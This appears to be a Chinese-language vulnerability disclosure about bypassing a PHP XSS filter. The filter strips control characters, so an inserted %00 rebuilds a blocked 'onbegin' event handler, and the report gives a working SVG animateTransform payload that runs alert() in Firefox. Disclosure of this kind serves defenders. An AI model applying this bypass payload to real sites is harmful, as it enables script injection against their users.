### 简要描述:
继昨天修复的过滤方法,再来一发。。
### 详细说明:
看了一下昨天修复的代码,就是在第二个字符处添加了一个<x>,于是各种焦头烂额都不行了。。再次研究上下的代码:
```
function uhtml($str) {
$farr = array(
"/\\s+/", //过滤多余的空白
"/<(\\/?)(script|i?frame|style|html|body|title|link|meta|\\?|\\%)([^>]*?)>/isU",
"/(<[^>]*)on[a-zA-Z]+\\s*=([^>]*>)/isU",
);
$tarr = array( " ", " ", "\1\2", );
$str = preg_replace( $farr,$tarr,$str);
//return $str;
return remove_xss($str);
}
```
这里把on事件过滤的死死的。。只有想办法绕过on
发现remove_xss里面有这样一句:
```
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
```
将%00等的字符替换为空了!!于是o%00nxxx=xxx在过滤后就变成了onxxx=xxx
又发现onbegin、onend没有在过滤的关键词中,于是出现了如下绕过的代码:
```
<svg><animateTransform attributeName=transform o%00nbegin=alert(/UncleJim/)>
```
过滤后就变为:
```
<svg><animateTransform attributeName=transform onbegin=alert(/UncleJim/)>
```
### 漏洞证明:
火狐下有效。
[<img src="https://images.seebug.org/upload/201408/0816494342ac1e33d72cedcd1317c093329e37d4.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/0816494342ac1e33d72cedcd1317c093329e37d4.jpg)
[<img src="https://images.seebug.org/upload/201408/081651300303b3e869991da9db077ea028cd961c.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/081651300303b3e869991da9db077ea028cd961c.jpg)
暂无评论